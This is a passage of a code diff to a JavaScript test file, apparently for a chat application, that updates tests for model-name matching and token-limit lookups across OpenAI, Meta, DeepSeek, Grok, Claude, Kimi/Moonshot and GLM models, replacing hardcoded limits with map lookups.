expect(matchModelName('gpt-5-pro-2025-01-30-0130')).toBe('gpt-5-pro');
});
- // Tests for Google models
- it('should return the exact model name if it exists in maxTokensMap - Google models', () => {
- expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k');
- expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k');
+ it('should return the closest matching key for gpt-5.3 matches', () => {
+ expect(matchModelName('openai/gpt-5.3')).toBe('gpt-5.3');
+ expect(matchModelName('gpt-5.3-codex')).toBe('gpt-5.3');
+ expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
+ });
+
+ it('should return the closest matching key for gpt-5.4 matches', () => {
+ expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
+ expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
+ expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
});
it('should return the input model name if no match is found - Google models', () => {
@@ -616,51 +836,50 @@ describe('matchModelName', () => {
'unknown-google-model',
);
});
-
- it('should return the closest matching key for partial matches - Google models', () => {
- expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
- expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
- });
});
describe('Meta Models Tests', () => {
describe('getModelMaxTokens', () => {
test('should return correct tokens for LLaMa 2 models', () => {
- expect(getModelMaxTokens('llama2')).toBe(4000);
- expect(getModelMaxTokens('llama2.70b')).toBe(4000);
- expect(getModelMaxTokens('llama2-13b')).toBe(4000);
- expect(getModelMaxTokens('llama2-70b')).toBe(4000);
+ const llama2Tokens = maxTokensMap[EModelEndpoint.openAI]['llama2'];
+ expect(getModelMaxTokens('llama2')).toBe(llama2Tokens);
+ expect(getModelMaxTokens('llama2.70b')).toBe(llama2Tokens);
+ expect(getModelMaxTokens('llama2-13b')).toBe(llama2Tokens);
+ expect(getModelMaxTokens('llama2-70b')).toBe(llama2Tokens);
});
test('should return correct tokens for LLaMa 3 models', () => {
- expect(getModelMaxTokens('llama3')).toBe(8000);
- expect(getModelMaxTokens('llama3.8b')).toBe(8000);
- expect(getModelMaxTokens('llama3.70b')).toBe(8000);
- expect(getModelMaxTokens('llama3-8b')).toBe(8000);
- expect(getModelMaxTokens('llama3-70b')).toBe(8000);
+ const llama3Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3'];
+ expect(getModelMaxTokens('llama3')).toBe(llama3Tokens);
+ expect(getModelMaxTokens('llama3.8b')).toBe(llama3Tokens);
+ expect(getModelMaxTokens('llama3.70b')).toBe(llama3Tokens);
+ expect(getModelMaxTokens('llama3-8b')).toBe(llama3Tokens);
+ expect(getModelMaxTokens('llama3-70b')).toBe(llama3Tokens);
});
test('should return correct tokens for LLaMa 3.1 models', () => {
- expect(getModelMaxTokens('llama3.1:8b')).toBe(127500);
- expect(getModelMaxTokens('llama3.1:70b')).toBe(127500);
- expect(getModelMaxTokens('llama3.1:405b')).toBe(127500);
- expect(getModelMaxTokens('llama3-1-8b')).toBe(127500);
- expect(getModelMaxTokens('llama3-1-70b')).toBe(127500);
- expect(getModelMaxTokens('llama3-1-405b')).toBe(127500);
+ const llama31Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3.1:8b'];
+ expect(getModelMaxTokens('llama3.1:8b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('llama3.1:70b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('llama3.1:405b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('llama3-1-8b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('llama3-1-70b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('llama3-1-405b')).toBe(llama31Tokens);
});
test('should handle partial matches for Meta models', () => {
- // Test with full model names
- expect(getModelMaxTokens('meta/llama3.1:405b')).toBe(127500);
- expect(getModelMaxTokens('meta/llama3.1:70b')).toBe(127500);
- expect(getModelMaxTokens('meta/llama3.1:8b')).toBe(127500);
- expect(getModelMaxTokens('meta/llama3-1-8b')).toBe(127500);
+ const llama31Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3.1:8b'];
+ const llama3Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3'];
+ const llama2Tokens = maxTokensMap[EModelEndpoint.openAI]['llama2'];
+ expect(getModelMaxTokens('meta/llama3.1:405b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('meta/llama3.1:70b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('meta/llama3.1:8b')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('meta/llama3-1-8b')).toBe(llama31Tokens);
- // Test base versions
- expect(getModelMaxTokens('meta/llama3.1')).toBe(127500);
- expect(getModelMaxTokens('meta/llama3-1')).toBe(127500);
- expect(getModelMaxTokens('meta/llama3')).toBe(8000);
- expect(getModelMaxTokens('meta/llama2')).toBe(4000);
+ expect(getModelMaxTokens('meta/llama3.1')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('meta/llama3-1')).toBe(llama31Tokens);
+ expect(getModelMaxTokens('meta/llama3')).toBe(llama3Tokens);
+ expect(getModelMaxTokens('meta/llama2')).toBe(llama2Tokens);
});
test('should match Deepseek model variations', () => {
@@ -678,18 +897,33 @@ describe('Meta Models Tests', () => {
);
});
- test('should return 128000 context tokens for all DeepSeek models', () => {
- expect(getModelMaxTokens('deepseek-chat')).toBe(128000);
- expect(getModelMaxTokens('deepseek-reasoner')).toBe(128000);
- expect(getModelMaxTokens('deepseek-r1')).toBe(128000);
- expect(getModelMaxTokens('deepseek-v3')).toBe(128000);
- expect(getModelMaxTokens('deepseek.r1')).toBe(128000);
+ test('should return correct context tokens for all DeepSeek models', () => {
+ const deepseekChatTokens = maxTokensMap[EModelEndpoint.openAI]['deepseek-chat'];
+ expect(getModelMaxTokens('deepseek-chat')).toBe(deepseekChatTokens);
+ expect(getModelMaxTokens('deepseek-reasoner')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'],
+ );
+ expect(getModelMaxTokens('deepseek-r1')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek-r1'],
+ );
+ expect(getModelMaxTokens('deepseek-v3')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek'],
+ );
+ expect(getModelMaxTokens('deepseek.r1')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek.r1'],
+ );
});
test('should handle DeepSeek models with provider prefixes', () => {
- expect(getModelMaxTokens('deepseek/deepseek-chat')).toBe(128000);
- expect(getModelMaxTokens('openrouter/deepseek-reasoner')).toBe(128000);
- expect(getModelMaxTokens('openai/deepseek-v3')).toBe(128000);
+ expect(getModelMaxTokens('deepseek/deepseek-chat')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek-chat'],
+ );
+ expect(getModelMaxTokens('openrouter/deepseek-reasoner')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'],
+ );
+ expect(getModelMaxTokens('openai/deepseek-v3')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['deepseek'],
+ );
});
});
@@ -728,30 +962,38 @@ describe('Meta Models Tests', () => {
const { getModelMaxOutputTokens } = require('@librechat/api');
test('should return correct max output tokens for deepseek-chat', () => {
- expect(getModelMaxOutputTokens('deepseek-chat')).toBe(8000);
- expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.openAI)).toBe(8000);
- expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.custom)).toBe(8000);
+ const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-chat'];
+ expect(getModelMaxOutputTokens('deepseek-chat')).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.openAI)).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.custom)).toBe(expected);
});
test('should return correct max output tokens for deepseek-reasoner', () => {
- expect(getModelMaxOutputTokens('deepseek-reasoner')).toBe(64000);
- expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.openAI)).toBe(64000);
- expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.custom)).toBe(64000);
+ const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'];
+ expect(getModelMaxOutputTokens('deepseek-reasoner')).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.openAI)).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.custom)).toBe(expected);
});
test('should return correct max output tokens for deepseek-r1', () => {
- expect(getModelMaxOutputTokens('deepseek-r1')).toBe(64000);
- expect(getModelMaxOutputTokens('deepseek-r1', EModelEndpoint.openAI)).toBe(64000);
+ const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-r1'];
+ expect(getModelMaxOutputTokens('deepseek-r1')).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-r1', EModelEndpoint.openAI)).toBe(expected);
});
test('should return correct max output tokens for deepseek base pattern', () => {
- expect(getModelMaxOutputTokens('deepseek')).toBe(8000);
- expect(getModelMaxOutputTokens('deepseek-v3')).toBe(8000);
+ const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek'];
+ expect(getModelMaxOutputTokens('deepseek')).toBe(expected);
+ expect(getModelMaxOutputTokens('deepseek-v3')).toBe(expected);
});
test('should handle DeepSeek models with provider prefixes for max output tokens', () => {
- expect(getModelMaxOutputTokens('deepseek/deepseek-chat')).toBe(8000);
- expect(getModelMaxOutputTokens('openrouter/deepseek-reasoner')).toBe(64000);
+ expect(getModelMaxOutputTokens('deepseek/deepseek-chat')).toBe(
+ maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-chat'],
+ );
+ expect(getModelMaxOutputTokens('openrouter/deepseek-reasoner')).toBe(
+ maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'],
+ );
});
});
@@ -796,68 +1038,90 @@ describe('Meta Models Tests', () => {
describe('Grok Model Tests - Tokens', () => {
describe('getModelMaxTokens', () => {
test('should return correct tokens for Grok vision models', () => {
- expect(getModelMaxTokens('grok-2-vision-1212')).toBe(32768);
- expect(getModelMaxTokens('grok-2-vision')).toBe(32768);
- expect(getModelMaxTokens('grok-2-vision-latest')).toBe(32768);
+ const grok2VisionTokens = maxTokensMap[EModelEndpoint.openAI]['grok-2-vision'];
+ expect(getModelMaxTokens('grok-2-vision-1212')).toBe(grok2VisionTokens);
+ expect(getModelMaxTokens('grok-2-vision')).toBe(grok2VisionTokens);
+ expect(getModelMaxTokens('grok-2-vision-latest')).toBe(grok2VisionTokens);
});
test('should return correct tokens for Grok beta models', () => {
- expect(getModelMaxTokens('grok-vision-beta')).toBe(8192);
- expect(getModelMaxTokens('grok-beta')).toBe(131072);
+ expect(getModelMaxTokens('grok-vision-beta')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-vision-beta'],
+ );
+ expect(getModelMaxTokens('grok-beta')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-beta']);
});
test('should return correct tokens for Grok text models', () => {
- expect(getModelMaxTokens('grok-2-1212')).toBe(131072);
- expect(getModelMaxTokens('grok-2')).toBe(131072);
- expect(getModelMaxTokens('grok-2-latest')).toBe(131072);
+ const grok2Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-2'];
+ expect(getModelMaxTokens('grok-2-1212')).toBe(grok2Tokens);
+ expect(getModelMaxTokens('grok-2')).toBe(grok2Tokens);
+ expect(getModelMaxTokens('grok-2-latest')).toBe(grok2Tokens);
});
test('should return correct tokens for Grok 3 series models', () => {
- expect(getModelMaxTokens('grok-3')).toBe(131072);
- expect(getModelMaxTokens('grok-3-fast')).toBe(131072);
- expect(getModelMaxTokens('grok-3-mini')).toBe(131072);
- expect(getModelMaxTokens('grok-3-mini-fast')).toBe(131072);
+ expect(getModelMaxTokens('grok-3')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-3']);
+ expect(getModelMaxTokens('grok-3-fast')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-fast'],
+ );
+ expect(getModelMaxTokens('grok-3-mini')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-mini'],
+ );
+ expect(getModelMaxTokens('grok-3-mini-fast')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-mini-fast'],
+ );
});
test('should return correct tokens for Grok 4 model', () => {
- expect(getModelMaxTokens('grok-4-0709')).toBe(256000);
+ expect(getModelMaxTokens('grok-4-0709')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-4']);
});
test('should return correct tokens for Grok 4 Fast and Grok 4.1 Fast models', () => {
- expect(getModelMaxTokens('grok-4-fast')).toBe(2000000);
- expect(getModelMaxTokens('grok-4-1-fast-reasoning')).toBe(2000000);
- expect(getModelMaxTokens('grok-4-1-fast-non-reasoning')).toBe(2000000);
+ const grok4FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-fast'];
+ const grok41FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-1-fast'];
+ expect(getModelMaxTokens('grok-4-fast')).toBe(grok4FastTokens);
+ expect(getModelMaxTokens('grok-4-1-fast-reasoning')).toBe(grok41FastTokens);
+ expect(getModelMaxTokens('grok-4-1-fast-non-reasoning')).toBe(grok41FastTokens);
});
test('should return correct tokens for Grok Code Fast model', () => {
- expect(getModelMaxTokens('grok-code-fast-1')).toBe(256000);
+ expect(getModelMaxTokens('grok-code-fast-1')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-code-fast'],
+ );
});
test('should handle partial matches for Grok models with prefixes', () => {
- // Vision models should match before general models
- expect(getModelMaxTokens('xai/grok-2-vision-1212')).toBe(32768);
- expect(getModelMaxTokens('xai/grok-2-vision')).toBe(32768);
- expect(getModelMaxTokens('xai/grok-2-vision-latest')).toBe(32768);
- // Beta models
- expect(getModelMaxTokens('xai/grok-vision-beta')).toBe(8192);
- expect(getModelMaxTokens('xai/grok-beta')).toBe(131072);
- // Text models
- expect(getModelMaxTokens('xai/grok-2-1212')).toBe(131072);
- expect(getModelMaxTokens('xai/grok-2')).toBe(131072);
- expect(getModelMaxTokens('xai/grok-2-latest')).toBe(131072);
- // Grok 3 models
- expect(getModelMaxTokens('xai/grok-3')).toBe(131072);
- expect(getModelMaxTokens('xai/grok-3-fast')).toBe(131072);
- expect(getModelMaxTokens('xai/grok-3-mini')).toBe(131072);
- expect(getModelMaxTokens('xai/grok-3-mini-fast')).toBe(131072);
- // Grok 4 model
- expect(getModelMaxTokens('xai/grok-4-0709')).toBe(256000);
- // Grok 4 Fast and 4.1 Fast models
- expect(getModelMaxTokens('xai/grok-4-fast')).toBe(2000000);
- expect(getModelMaxTokens('xai/grok-4-1-fast-reasoning')).toBe(2000000);
- expect(getModelMaxTokens('xai/grok-4-1-fast-non-reasoning')).toBe(2000000);
- // Grok Code Fast model
- expect(getModelMaxTokens('xai/grok-code-fast-1')).toBe(256000);
+ const grok2VisionTokens = maxTokensMap[EModelEndpoint.openAI]['grok-2-vision'];
+ const grokVisionBetaTokens = maxTokensMap[EModelEndpoint.openAI]['grok-vision-beta'];
+ const grokBetaTokens = maxTokensMap[EModelEndpoint.openAI]['grok-beta'];
+ const grok2Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-2'];
+ const grok3Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-3'];
+ const grok4Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-4'];
+ const grok4FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-fast'];
+ const grok41FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-1-fast'];
+ const grokCodeFastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-code-fast'];
+ expect(getModelMaxTokens('xai/grok-2-vision-1212')).toBe(grok2VisionTokens);
+ expect(getModelMaxTokens('xai/grok-2-vision')).toBe(grok2VisionTokens);
+ expect(getModelMaxTokens('xai/grok-2-vision-latest')).toBe(grok2VisionTokens);
+ expect(getModelMaxTokens('xai/grok-vision-beta')).toBe(grokVisionBetaTokens);
+ expect(getModelMaxTokens('xai/grok-beta')).toBe(grokBetaTokens);
+ expect(getModelMaxTokens('xai/grok-2-1212')).toBe(grok2Tokens);
+ expect(getModelMaxTokens('xai/grok-2')).toBe(grok2Tokens);
+ expect(getModelMaxTokens('xai/grok-2-latest')).toBe(grok2Tokens);
+ expect(getModelMaxTokens('xai/grok-3')).toBe(grok3Tokens);
+ expect(getModelMaxTokens('xai/grok-3-fast')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-fast'],
+ );
+ expect(getModelMaxTokens('xai/grok-3-mini')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-mini'],
+ );
+ expect(getModelMaxTokens('xai/grok-3-mini-fast')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['grok-3-mini-fast'],
+ );
+ expect(getModelMaxTokens('xai/grok-4-0709')).toBe(grok4Tokens);
+ expect(getModelMaxTokens('xai/grok-4-fast')).toBe(grok4FastTokens);
+ expect(getModelMaxTokens('xai/grok-4-1-fast-reasoning')).toBe(grok41FastTokens);
+ expect(getModelMaxTokens('xai/grok-4-1-fast-non-reasoning')).toBe(grok41FastTokens);
+ expect(getModelMaxTokens('xai/grok-code-fast-1')).toBe(grokCodeFastTokens);
});
});
@@ -1062,46 +1326,251 @@ describe('Claude Model Tests', () => {
expect(matchModelName(model, EModelEndpoint.anthropic)).toBe(expectedModel);
});
});
+
+ it('should return correct context length for Claude Opus 4.6 (1M)', () => {
+ expect(getModelMaxTokens('claude-opus-4-6', EModelEndpoint.anthropic)).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'],
+ );
+ expect(getModelMaxTokens('claude-opus-4-6')).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'],
+ );
+ });
+
+ it('should return correct max output tokens for Claude Opus 4.6 (128K)', () => {
+ const { getModelMaxOutputTokens } = require('@librechat/api');
+ expect(getModelMaxOutputTokens('claude-opus-4-6', EModelEndpoint.anthropic)).toBe(
+ maxOutputTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'],
+ );
+ });
+
+ it('should handle Claude Opus 4.6 model name variations', () => {
+ const modelVariations = [
+ 'claude-opus-4-6',
+ 'claude-opus-4-6-20250801',
+ 'claude-opus-4-6-latest',
+ 'anthropic/claude-opus-4-6',
+ 'claude-opus-4-6/anthropic',
+ 'claude-opus-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ const modelKey = findMatchingPattern(model, maxTokensMap[EModelEndpoint.anthropic]);
+ expect(modelKey).toBe('claude-opus-4-6');
+ expect(getModelMaxTokens(model, EModelEndpoint.anthropic)).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'],
+ );
+ });
+ });
+
+ it('should match model names correctly for Claude Opus 4.6', () => {
+ const modelVariations = [
+ 'claude-opus-4-6',
+ 'claude-opus-4-6-20250801',
+ 'claude-opus-4-6-latest',
+ 'anthropic/claude-opus-4-6',
+ 'claude-opus-4-6/anthropic',
+ 'claude-opus-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ expect(matchModelName(model, EModelEndpoint.anthropic)).toBe('claude-opus-4-6');
+ });
+ });
+
+ it('should return correct context length for Claude Sonnet 4.6 (1M)', () => {
+ expect(getModelMaxTokens('claude-sonnet-4-6', EModelEndpoint.anthropic)).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'],
+ );
+ expect(getModelMaxTokens('claude-sonnet-4-6')).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'],
+ );
+ });
+
+ it('should return correct max output tokens for Claude Sonnet 4.6 (64K)', () => {
+ const { getModelMaxOutputTokens } = require('@librechat/api');
+ expect(getModelMaxOutputTokens('claude-sonnet-4-6', EModelEndpoint.anthropic)).toBe(
+ maxOutputTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'],
+ );
+ });
+
+ it('should handle Claude Sonnet 4.6 model name variations', () => {
+ const modelVariations = [
+ 'claude-sonnet-4-6',
+ 'claude-sonnet-4-6-20260101',
+ 'claude-sonnet-4-6-latest',
+ 'anthropic/claude-sonnet-4-6',
+ 'claude-sonnet-4-6/anthropic',
+ 'claude-sonnet-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ const modelKey = findMatchingPattern(model, maxTokensMap[EModelEndpoint.anthropic]);
+ expect(modelKey).toBe('claude-sonnet-4-6');
+ expect(getModelMaxTokens(model, EModelEndpoint.anthropic)).toBe(
+ maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'],
+ );
+ });
+ });
+
+ it('should match model names correctly for Claude Sonnet 4.6', () => {
+ const modelVariations = [
+ 'claude-sonnet-4-6',
+ 'claude-sonnet-4-6-20260101',
+ 'claude-sonnet-4-6-latest',
+ 'anthropic/claude-sonnet-4-6',
+ 'claude-sonnet-4-6/anthropic',
+ 'claude-sonnet-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ expect(matchModelName(model, EModelEndpoint.anthropic)).toBe('claude-sonnet-4-6');
+ });
+ });
});
-describe('Kimi Model Tests', () => {
+describe('Moonshot/Kimi Model Tests', () => {
describe('getModelMaxTokens', () => {
- test('should return correct tokens for Kimi models', () => {
- expect(getModelMaxTokens('kimi')).toBe(131000);
- expect(getModelMaxTokens('kimi-k2')).toBe(131000);
- expect(getModelMaxTokens('kimi-vl')).toBe(131000);
+ test('should return correct tokens for kimi-k2.5 (multi-modal)', () => {
+ expect(getModelMaxTokens('kimi-k2.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5']);
+ expect(getModelMaxTokens('kimi-k2.5-latest')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5'],
+ );
});
- test('should return correct tokens for Kimi models with provider prefix', () => {
- expect(getModelMaxTokens('moonshotai/kimi-k2')).toBe(131000);
- expect(getModelMaxTokens('moonshotai/kimi')).toBe(131000);
- expect(getModelMaxTokens('moonshotai/kimi-vl')).toBe(131000);
+ test('should return correct tokens for kimi-k2 series models', () => {
+ expect(getModelMaxTokens('kimi')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi']);
+ expect(getModelMaxTokens('kimi-k2')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi-k2']);
+ expect(getModelMaxTokens('kimi-k2-turbo')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo'],
+ );
+ expect(getModelMaxTokens('kimi-k2-turbo-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo-preview'],
+ );
+ expect(getModelMaxTokens('kimi-k2-0905')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0905'],
+ );
+ expect(getModelMaxTokens('kimi-k2-0905-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0905-preview'],
+ );
+ expect(getModelMaxTokens('kimi-k2-thinking')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-thinking'],
+ );
+ expect(getModelMaxTokens('kimi-k2-thinking-turbo')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-thinking-turbo'],
+ );
});
- test('should handle partial matches for Kimi models', () => {
- expect(getModelMaxTokens('kimi-k2-latest')).toBe(131000);
- expect(getModelMaxTokens('kimi-vl-preview')).toBe(131000);
- expect(getModelMaxTokens('kimi-2024')).toBe(131000);
+ test('should return correct tokens for kimi-k2-0711 (smaller context)', () => {
+ expect(getModelMaxTokens('kimi-k2-0711')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0711'],
+ );
+ expect(getModelMaxTokens('kimi-k2-0711-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0711-preview'],
+ );
+ });
+
+ test('should return correct tokens for kimi-latest', () => {
+ expect(getModelMaxTokens('kimi-latest')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-latest'],
+ );
+ });
+
+ test('should return correct tokens for moonshot-v1 series models', () => {
+ expect(getModelMaxTokens('moonshot')).toBe(maxTokensMap[EModelEndpoint.openAI]['moonshot']);
+ expect(getModelMaxTokens('moonshot-v1')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-auto')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-auto'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-8k')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-8k-vision')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k-vision'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-8k-vision-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k-vision-preview'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-32k')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-32k-vision')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k-vision'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-32k-vision-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k-vision-preview'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-128k')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-128k-vision')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k-vision'],
+ );
+ expect(getModelMaxTokens('moonshot-v1-128k-vision-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k-vision-preview'],
+ );
+ });
+
+ test('should return correct tokens for Bedrock moonshot models', () => {
+ expect(getModelMaxTokens('moonshot.kimi', EModelEndpoint.bedrock)).toBe(
+ maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi'],
+ );
+ expect(getModelMaxTokens('moonshot.kimi-k2', EModelEndpoint.bedrock)).toBe(
+ maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2'],
+ );
+ expect(getModelMaxTokens('moonshot.kimi-k2.5', EModelEndpoint.bedrock)).toBe(
+ maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2.5'],
+ );
+ expect(getModelMaxTokens('moonshot.kimi-k2-thinking', EModelEndpoint.bedrock)).toBe(
+ maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2-thinking'],
+ );
+ expect(getModelMaxTokens('moonshot.kimi-k2-0711', EModelEndpoint.bedrock)).toBe(
+ maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2-0711'],
+ );
+ });
+
+ test('should handle Moonshot/Kimi models with provider prefixes', () => {
+ expect(getModelMaxTokens('openrouter/kimi-k2')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2'],
+ );
+ expect(getModelMaxTokens('openrouter/kimi-k2.5')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5'],
+ );
+ expect(getModelMaxTokens('openrouter/kimi-k2-turbo')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo'],
+ );
+ expect(getModelMaxTokens('openrouter/moonshot-v1-128k')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k'],
+ );
});
});
describe('matchModelName', () => {
test('should match exact Kimi model names', () => {
expect(matchModelName('kimi')).toBe('kimi');
- expect(matchModelName('kimi-k2')).toBe('kimi');
- expect(matchModelName('kimi-vl')).toBe('kimi');
+ expect(matchModelName('kimi-k2')).toBe('kimi-k2');
+ expect(matchModelName('kimi-k2.5')).toBe('kimi-k2.5');
+ expect(matchModelName('kimi-k2-turbo')).toBe('kimi-k2-turbo');
+ expect(matchModelName('kimi-k2-0711')).toBe('kimi-k2-0711');
+ });
+
+ test('should match moonshot model names', () => {
+ expect(matchModelName('moonshot')).toBe('moonshot');
+ expect(matchModelName('moonshot-v1-8k')).toBe('moonshot-v1-8k');
+ expect(matchModelName('moonshot-v1-32k')).toBe('moonshot-v1-32k');
+ expect(matchModelName('moonshot-v1-128k')).toBe('moonshot-v1-128k');
});
test('should match Kimi model variations with provider prefix', () => {
- expect(matchModelName('moonshotai/kimi')).toBe('kimi');
- expect(matchModelName('moonshotai/kimi-k2')).toBe('kimi');
- expect(matchModelName('moonshotai/kimi-vl')).toBe('kimi');
+ expect(matchModelName('openrouter/kimi')).toBe('kimi');
+ expect(matchModelName('openrouter/kimi-k2')).toBe('kimi-k2');
+ expect(matchModelName('openrouter/kimi-k2.5')).toBe('kimi-k2.5');
});
test('should match Kimi model variations with suffixes', () => {
- expect(matchModelName('kimi-k2-latest')).toBe('kimi');
- expect(matchModelName('kimi-vl-preview')).toBe('kimi');
- expect(matchModelName('kimi-2024')).toBe('kimi');
+ expect(matchModelName('kimi-k2-latest')).toBe('kimi-k2');
+ expect(matchModelName('kimi-k2.5-preview')).toBe('kimi-k2.5');
});
});
});
@@ -1224,44 +1693,80 @@ describe('Qwen3 Model Tests', () => {
describe('GLM Model Tests (Zhipu AI)', () => {
describe('getModelMaxTokens', () => {
test('should return correct tokens for GLM models', () => {
- expect(getModelMaxTokens('glm-4.6')).toBe(200000);
- expect(getModelMaxTokens('glm-4.5v')).toBe(66000);
- expect(getModelMaxTokens('glm-4.5-air')).toBe(131000);
- expect(getModelMaxTokens('glm-4.5')).toBe(131000);
